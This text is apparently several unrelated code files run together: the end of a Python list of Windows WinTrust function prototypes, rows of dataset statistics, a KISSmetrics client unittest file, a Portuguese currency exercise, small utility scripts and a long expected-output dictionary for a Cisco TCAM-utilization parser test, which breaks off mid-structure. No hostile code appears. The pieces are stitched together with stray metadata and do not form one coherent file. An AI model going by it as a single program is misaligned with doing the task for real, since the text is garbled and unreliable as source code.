offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwError": SimTypeInt(signed=False, label="UInt32"), "dwRegSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwRegPolicySettings": SimTypeInt(signed=False, label="UInt32"), "psPfns": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_FUNCTIONS"), offset=0), "cdwTrustStepErrors": SimTypeInt(signed=False, label="UInt32"), "padwTrustStepErrors": SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), "chStores": SimTypeInt(signed=False, label="UInt32"), "pahStores": SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), "dwEncoding": SimTypeInt(signed=False, label="UInt32"), "hMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "csSigners": SimTypeInt(signed=False, label="UInt32"), "pasSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "csProvPrivData": SimTypeInt(signed=False, label="UInt32"), "pasProvPrivData": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_PRIVDATA"), offset=0), "dwSubjectChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pPDSip": SimTypePointer(SimTypeBottom(label="PROVDATA_SIP"), offset=0)}, name="<anon>", label="None"), "pszUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fRecallWithState": SimTypeInt(signed=True, label="Int32"), "sftSystemTime": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "pszCTLSignerUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwFinalError": SimTypeInt(signed=False, label="UInt32"), "pRequestUsage": SimTypePointer(SimStruct({"dwType": SimTypeInt(signed=False, label="UInt32"), "Usage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None)}, name="CERT_USAGE_MATCH", pack=False, align=None), offset=0), "dwTrustPubSettings": SimTypeInt(signed=False, label="UInt32"), "dwUIStateFlags": SimTypeInt(signed=False, label="UInt32"), "pSigState": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SIGSTATE"), offset=0), "pSigSettings": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="WINTRUST_SIGNATURE_SETTINGS_FLAGS"), "cSecondarySigs": SimTypeInt(signed=False, label="UInt32"), "dwVerifiedSigIndex": SimTypeInt(signed=False, label="UInt32"), "pCryptoPolicy": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwInfoChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pvInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSerializedInfo": SimTypePointer(SimStruct({"dwFlags": SimTypeInt(signed=False, label="CERT_STRONG_SIGN_FLAGS"), "pwszCNGSignHashAlgids": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszCNGPubKeyMinBitLengths": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_STRONG_SIGN_SERIALIZED_INFO", pack=False, align=None), offset=0), "pszOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="<anon>", label="None")}, name="CERT_STRONG_SIGN_PARA", pack=False, align=None), offset=0)}, name="WINTRUST_SIGNATURE_SETTINGS", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_DATA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pProvData"]),
#
'OpenPersonalTrustDBDialogEx': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hwndParent", "dwFlags", "pvReserved"]),
#
'OpenPersonalTrustDBDialog': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hwndParent"]),
#
'WintrustSetDefaultIncludePEPageHashes': SimTypeFunction([SimTypeInt(signed=True, label="Int32")], SimTypeBottom(label="Void"), arg_names=["fIncludePEPageHashes"]),
}
lib.set_prototypes(prototypes)
| 1,193.084507
| 43,475
| 0.754755
| 18,537
| 169,418
| 6.840319
| 0.029185
| 0.140821
| 0.153526
| 0.19008
| 0.965441
| 0.961056
| 0.957121
| 0.952239
| 0.950063
| 0.946088
| 0
| 0.018898
| 0.054841
| 169,418
| 141
| 43,476
| 1,201.546099
| 0.772968
| 0.000165
| 0
| 0
| 0
| 0
| 0.270264
| 0.036918
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.054054
| 0.067568
| 0
| 0.067568
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 10
|
511d04eaf8c460cc7046d62af0295d1b97ed62d7
| 4,587
|
py
|
Python
|
KISSmetrics/tests/test_integration.py
|
kissmetrics/py-KISSmetrics
|
11cfc589e623f0bab8bc450f6fd169715544e377
|
[
"MIT"
] | 2
|
2015-07-23T13:33:05.000Z
|
2016-08-19T16:02:25.000Z
|
KISSmetrics/tests/test_integration.py
|
kissmetrics/py-KISSmetrics
|
11cfc589e623f0bab8bc450f6fd169715544e377
|
[
"MIT"
] | 7
|
2015-03-27T15:18:33.000Z
|
2020-06-17T20:58:54.000Z
|
KISSmetrics/tests/test_integration.py
|
kissmetrics/py-KISSmetrics
|
11cfc589e623f0bab8bc450f6fd169715544e377
|
[
"MIT"
] | 4
|
2015-04-21T14:50:13.000Z
|
2016-04-23T08:48:59.000Z
|
# -*- coding: utf-8 -*-
import unittest
import json
import KISSmetrics
class KISSmetricsClientIntegrationTestCase(unittest.TestCase):
def setUp(self):
self.client = KISSmetrics.Client(key='foo', trk_host='httpbin.org')
def test_record_success(self):
response = self.client.record(person='bob', event='fizzed', path='get')
assert response.status == 200
def test_record_key(self):
response = self.client.record(person='bob', event='fizzed', path='get')
data = json.loads(response.data.decode())
assert data['args']['_k'] == 'foo'
def test_record_person(self):
response = self.client.record(person='bob', event='fizzed', path='get')
data = json.loads(response.data.decode())
assert data['args']['_p'] == 'bob'
def test_record_event(self):
response = self.client.record(person='bob', event='fizzed', path='get')
data = json.loads(response.data.decode())
assert data['args']['_n'] == 'fizzed'
def test_set_success(self):
response = self.client.set(person='bob', properties={'cool': 1}, path='get')
assert response.status == 200
def test_set_key(self):
response = self.client.set(person='bob', properties={'cool': 1}, path='get')
data = json.loads(response.data.decode())
assert data['args']['_k'] == 'foo'
def test_set_person(self):
response = self.client.set(person='bob', properties={'cool': 1}, path='get')
data = json.loads(response.data.decode())
assert data['args']['_p'] == 'bob'
def test_set_property(self):
response = self.client.set(person='bob', properties={'cool': 1}, path='get')
data = json.loads(response.data.decode())
assert data['args']['cool'] == '1'
def test_alias_success(self):
response = self.client.alias(person='bob', identity='shadybob', path='get')
assert response.status == 200
def test_alias_person(self):
response = self.client.alias(person='bob', identity='shadybob', path='get')
data = json.loads(response.data.decode())
assert data['args']['_n'] == 'shadybob'
class KISSmetricsClientCompatIntegrationTestCase(unittest.TestCase):
def setUp(self):
self.client = KISSmetrics.ClientCompat(key='foo', host='httpbin.org:80')
def test_record_success(self):
self.client.identify('bob')
response = self.client.record('fizzed', path='get', resp=True)
assert response.status == 200
def test_record_key(self):
self.client.identify('bob')
response = self.client.record('fizzed', path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_k'] == 'foo'
def test_record_person(self):
self.client.identify('bob')
response = self.client.record('fizzed', path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_p'] == 'bob'
def test_record_event(self):
self.client.identify('bob')
response = self.client.record('fizzed', path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_n'] == 'fizzed'
def test_set_success(self):
self.client.identify('bob')
response = self.client.set({'cool': 1}, path='get', resp=True)
assert response.status == 200
def test_set_key(self):
self.client.identify('bob')
response = self.client.set({'cool': 1}, path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_k'] == 'foo'
def test_set_person(self):
self.client.identify('bob')
response = self.client.set({'cool': 1}, path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_p'] == 'bob'
def test_set_property(self):
self.client.identify('bob')
response = self.client.set({'cool': 1}, path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['cool'] == '1'
def test_alias_success(self):
self.client.identify('bob')
response = self.client.alias('bob', 'shadybob', path='get', resp=True)
assert response.status == 200
def test_alias_person(self):
self.client.identify('bob')
response = self.client.alias('bob', 'shadybob', path='get', resp=True)
data = json.loads(response.data.decode())
assert data['args']['_n'] == 'shadybob'
if __name__ == '__main__':
unittest.main()
| 36.11811
| 84
| 0.616307
| 566
| 4,587
| 4.886926
| 0.100707
| 0.115691
| 0.130152
| 0.106291
| 0.919017
| 0.907086
| 0.907086
| 0.907086
| 0.871656
| 0.817787
| 0
| 0.008556
| 0.210159
| 4,587
| 126
| 85
| 36.404762
| 0.754899
| 0.004578
| 0
| 0.905263
| 0
| 0
| 0.091805
| 0
| 0
| 0
| 0
| 0
| 0.210526
| 1
| 0.231579
| false
| 0
| 0.031579
| 0
| 0.284211
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5124d89eb06b54f055f4d1a3e59c29fae3eff2cf
| 371
|
py
|
Python
|
Exercicios-mundo-3/desafio108/teste.py
|
talitadeoa/Exercicios-Python
|
6ffac5b403ef4636d8b7b37aba7998dade8a88b8
|
[
"MIT"
] | null | null | null |
Exercicios-mundo-3/desafio108/teste.py
|
talitadeoa/Exercicios-Python
|
6ffac5b403ef4636d8b7b37aba7998dade8a88b8
|
[
"MIT"
] | null | null | null |
Exercicios-mundo-3/desafio108/teste.py
|
talitadeoa/Exercicios-Python
|
6ffac5b403ef4636d8b7b37aba7998dade8a88b8
|
[
"MIT"
] | null | null | null |
import moeda
p = float(input('Digite o preço: R$'))
print(f'A metade de {moeda.moeda(p)} é {moeda.moeda(moeda.metade(p))}')
print(f'O dobro de {moeda.moeda(p)} é {moeda.moeda(moeda.dobro(p))}')
print(f'Aumentado 13% de {moeda.moeda(p)}, temos {moeda.moeda(moeda.aumentar(p,13))}')
print(f'Diminuindo 14% de {moeda.moeda(p)}, temos {moeda.moeda(moeda.diminuir(p,14))}')
| 41.222222
| 87
| 0.684636
| 67
| 371
| 3.791045
| 0.343284
| 0.472441
| 0.188976
| 0.204724
| 0.488189
| 0.488189
| 0.488189
| 0.488189
| 0
| 0
| 0
| 0.023739
| 0.091644
| 371
| 9
| 87
| 41.222222
| 0.72997
| 0
| 0
| 0
| 0
| 0.666667
| 0.784367
| 0.347709
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.666667
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
512ac868476abfd7dba5851f908d78d3f4d80152
| 161
|
py
|
Python
|
grand_geckos/tui/core/actions/view.py
|
nikhiljohn10/codejam-grand-geckos
|
54e808de5aba7a858303b47031f608131801387b
|
[
"0BSD"
] | 1
|
2021-08-02T20:19:56.000Z
|
2021-08-02T20:19:56.000Z
|
grand_geckos/tui/core/actions/view.py
|
nikhiljohn10/codejam-grand-geckos
|
54e808de5aba7a858303b47031f608131801387b
|
[
"0BSD"
] | null | null | null |
grand_geckos/tui/core/actions/view.py
|
nikhiljohn10/codejam-grand-geckos
|
54e808de5aba7a858303b47031f608131801387b
|
[
"0BSD"
] | null | null | null |
from grand_geckos.tui.dashboard.state import ApplicationState
def do_status_bar():
ApplicationState.show_status_bar = not ApplicationState.show_status_bar
| 26.833333
| 75
| 0.84472
| 21
| 161
| 6.142857
| 0.666667
| 0.209302
| 0.403101
| 0.449612
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.099379
| 161
| 5
| 76
| 32.2
| 0.889655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
5ada4e07196f7a1db0efc8f16a03271a0f36f4fe
| 129
|
py
|
Python
|
programming_skills/5.py
|
MiracleWong/aming_python
|
88a8199a0a5e0db2c555e12c5add5dc4e230bd09
|
[
"MIT"
] | null | null | null |
programming_skills/5.py
|
MiracleWong/aming_python
|
88a8199a0a5e0db2c555e12c5add5dc4e230bd09
|
[
"MIT"
] | null | null | null |
programming_skills/5.py
|
MiracleWong/aming_python
|
88a8199a0a5e0db2c555e12c5add5dc4e230bd09
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
#-*- coding:utf-8 -*-
import sys
sys.stdout.write('this is a stdout\n')
sys.stdout.write('this is a stderr\n')
| 21.5
| 38
| 0.674419
| 24
| 129
| 3.625
| 0.625
| 0.206897
| 0.321839
| 0.413793
| 0.482759
| 0.482759
| 0
| 0
| 0
| 0
| 0
| 0.008696
| 0.108527
| 129
| 6
| 39
| 21.5
| 0.747826
| 0.27907
| 0
| 0
| 0
| 0
| 0.391304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
51955b994db19ca40e9efd58284f7c587942678b
| 47,717
|
py
|
Python
|
src/genie/libs/parser/iosxe/c9600/c9606r/tests/ShowPlatformHardwareFedActiveTcamUtilization/cli/equal/golden_output_expected.py
|
nielsvanhooy/genieparser
|
9a1955749697a6777ca614f0af4d5f3a2c254ccd
|
[
"Apache-2.0"
] | null | null | null |
src/genie/libs/parser/iosxe/c9600/c9606r/tests/ShowPlatformHardwareFedActiveTcamUtilization/cli/equal/golden_output_expected.py
|
nielsvanhooy/genieparser
|
9a1955749697a6777ca614f0af4d5f3a2c254ccd
|
[
"Apache-2.0"
] | null | null | null |
src/genie/libs/parser/iosxe/c9600/c9606r/tests/ShowPlatformHardwareFedActiveTcamUtilization/cli/equal/golden_output_expected.py
|
nielsvanhooy/genieparser
|
9a1955749697a6777ca614f0af4d5f3a2c254ccd
|
[
"Apache-2.0"
] | null | null | null |
expected_output = {
'asic': {
'0': {
'table': {
'cts_cell_matrix_vpn_label': {
'subtype': {
'em': {
'dir': {
'o': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'o': {
'max': 768,
'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.13%',
'v4': 0,
'v6': 0
}
}
}
}
},
'client_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 8192,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'control_plane': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 45,
'used': 281,
'used_percent': '27.44%',
'v4': 130,
'v6': 106
}
}
}
}
},
'flow_span_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2
},
'o': {'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2
}
}
}
}
},
'ip_route_table': {
'subtype': {
'em_lpm': {
'dir': {
'i': {
'max': 212992,
'mpls': 1,
'other': 0,
'used': 14,
'used_percent': '0.01%',
'v4': 13,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 2,
'other': 0,
'used': 11,
'used_percent': '0.72%',
'v4': 6,
'v6': 3
}
}
}
}
},
'input_group_le': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'l2_multicast': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2304,
'mpls': 0,
'other': 0,
'used': 7,
'used_percent': '0.30%',
'v4': 3,
'v6': 4
}
}
}
}
},
'l3_multicast': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 0,
'used': 6,
'used_percent': '0.78%',
'v4': 3,
'v6': 3
}
}
}
}
},
'lisp_inst_mapping': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.10%',
'v4': 0,
'v6': 0
}
}
}
}
},
'mac_address_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 128,
'used': 128,
'used_percent': '0.39%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 22,
'used': 22,
'used_percent': '2.86%',
'v4': 0,
'v6': 0
}
}
}
}
},
'macsec_spd': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 256,
'mpls': 0,
'other': 2,
'used': 2,
'used_percent': '0.78%',
'v4': 0,
'v6': 0
}
}
}
}
},
'netflow_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 6,
'used_percent': '0.59%',
'v4': 2,
'v6': 2
},
'o': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 7,
'used_percent': '0.68%',
'v4': 3,
'v6': 2
}
}
}
}
},
'output_group_le': {
'subtype': {
'tcam': {
'dir': {
'o': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'pbr_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 15872,
'mpls': 0,
'other': 0,
'used': 32,
'used_percent': '0.20%',
'v4': 26,
'v6': 6
}
}
}
}
},
'qos_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2560,
'mpls': 0,
'other': 0,
'used': 15,
'used_percent': '0.59%',
'v4': 15,
'v6': 0
},
'o': {
'max': 3072,
'mpls': 0,
'other': 0,
'used': 13,
'used_percent': '0.42%',
'v4': 13,
'v6': 0
}
}
}
}
},
'qos_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 0,
'other': 10,
'used': 30,
'used_percent': '1.95%',
'v4': 0,
'v6': 20
},
'o': {'max': 1024,
'mpls': 0,
'other': 9,
'used': 27,
'used_percent': '2.64%',
'v4': 0,
'v6': 18
}
}
}
}
},
'security_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 7168,
'mpls': 0,
'other': 0,
'used': 12,
'used_percent': '0.17%',
'v4': 12,
'v6': 0
},
'o': {'max': 3072,
'mpls': 0,
'other': 0,
'used': 14,
'used_percent': '0.46%',
'v4': 14,
'v6': 0
}
}
}
}
},
'security_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 5120,
'mpls': 0,
'other': 40,
'used': 76,
'used_percent': '1.48%',
'v4': 0,
'v6': 36
},
'o': {
'max': 5120,
'mpls': 0,
'other': 5,
'used': 29,
'used_percent': '0.57%',
'v4': 0,
'v6': 24
}
}
}
}
},
'tunnel_termination': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1792,
'mpls': 0,
'other': 0,
'used': 29,
'used_percent': '1.62%',
'v4': 11,
'v6': 18
}
}
}
}
}
}
},
'1': {
'table': {
'cts_cell_matrix_vpn_label': {
'subtype': {
'em': {
'dir': {
'o': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'o': {
'max': 768,
'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.13%',
'v4': 0,
'v6': 0
}
}
}
}
},
'client_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 8192,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'control_plane': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 45,
'used': 281,
'used_percent': '27.44%',
'v4': 130,
'v6': 106
}
}
}
}
},
'flow_span_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2
},
'o': {
'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2
}
}
}
}
},
'ip_route_table': {
'subtype': {
'em_lpm': {
'dir': {
'i': {
'max': 212992,
'mpls': 1,
'other': 0,
'used': 14,
'used_percent': '0.01%',
'v4': 13,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 2,
'other': 0,
'used': 11,
'used_percent': '0.72%',
'v4': 6,
'v6': 3
}
}
}
}
},
'input_group_le': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'l2_multicast': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2304,
'mpls': 0,
'other': 0,
'used': 7,
'used_percent': '0.30%',
'v4': 3,
'v6': 4
}
}
}
}
},
'l3_multicast': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 0,
'used': 6,
'used_percent': '0.78%',
'v4': 3,
'v6': 3
}
}
}
}
},
'lisp_inst_mapping': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.10%',
'v4': 0,
'v6': 0
}
}
}
}
},
'mac_address_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 128,
'used': 128,
'used_percent': '0.39%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 22,
'used': 22,
'used_percent': '2.86%',
'v4': 0,
'v6': 0
}
}
}
}
},
'macsec_spd': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 256,
'mpls': 0,
'other': 2,
'used': 2,
'used_percent': '0.78%',
'v4': 0,
'v6': 0
}
}
}
}
},
'netflow_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 6,
'used_percent': '0.59%',
'v4': 2,
'v6': 2
},
'o': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 7,
'used_percent': '0.68%',
'v4': 3,
'v6': 2
}
}
}
}
},
'output_group_le': {
'subtype': {
'tcam': {
'dir': {
'o': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'pbr_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 15872,
'mpls': 0,
'other': 0,
'used': 32,
'used_percent': '0.20%',
'v4': 26,
'v6': 6
}
}
}
}
},
'qos_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2560,
'mpls': 0,
'other': 0,
'used': 15,
'used_percent': '0.59%',
'v4': 15,
'v6': 0
},
'o': {'max': 3072,
'mpls': 0,
'other': 0,
'used': 12,
'used_percent': '0.39%',
'v4': 12,
'v6': 0
}
}
}
}
},
'qos_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 0,
'other': 10,
'used': 30,
'used_percent': '1.95%',
'v4': 0,
'v6': 20
},
'o': {
'max': 1024,
'mpls': 0,
'other': 8,
'used': 24,
'used_percent': '2.34%',
'v4': 0,
'v6': 16
}
}
}
}
},
'security_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 7168,
'mpls': 0,
'other': 0,
'used': 12,
'used_percent': '0.17%',
'v4': 12,
'v6': 0
},
'o': {
'max': 3072,
'mpls': 0,
'other': 0,
'used': 14,
'used_percent': '0.46%',
'v4': 14,
'v6': 0
}
}
}
}
},
'security_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 5120,
'mpls': 0,
'other': 40,
'used': 76,
'used_percent': '1.48%',
'v4': 0,
'v6': 36
},
'o': {
'max': 5120,
'mpls': 0,
'other': 5,
'used': 29,
'used_percent': '0.57%',
'v4': 0,
'v6': 24
}
}
}
}
},
'tunnel_termination': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1792,
'mpls': 0,
'other': 0,
'used': 29,
'used_percent': '1.62%',
'v4': 11,
'v6': 18
}
}
}
}
}
}
},
'2': {
'table': {
'cts_cell_matrix_vpn_label': {
'subtype': {
'em': {
'dir': {
'o': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'o': {
'max': 768,
'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.13%',
'v4': 0,
'v6': 0
}
}
}
}
},
'client_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 8192,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'control_plane': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 45,
'used': 281,
'used_percent': '27.44%',
'v4': 130,
'v6': 106
}
}
}
}
},
'flow_span_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2},
'o': {
'max': 512,
'mpls': 0,
'other': 1,
'used': 4,
'used_percent': '0.78%',
'v4': 1,
'v6': 2
}
}
}
}
},
'ip_route_table': {
'subtype': {
'em_lpm': {
'dir': {
'i': {
'max': 212992,
'mpls': 1,
'other': 0,
'used': 14,
'used_percent': '0.01%',
'v4': 13,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 2,
'other': 0,
'used': 11,
'used_percent': '0.72%',
'v4': 6,
'v6': 3
}
}
}
}
},
'input_group_le': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'l2_multicast': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2304,
'mpls': 0,
'other': 0,
'used': 7,
'used_percent': '0.30%',
'v4': 3,
'v6': 4
}
}
}
}
},
'l3_multicast': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 0,
'used': 6,
'used_percent': '0.78%',
'v4': 3,
'v6': 3
}
}
}
}
},
'lisp_inst_mapping': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
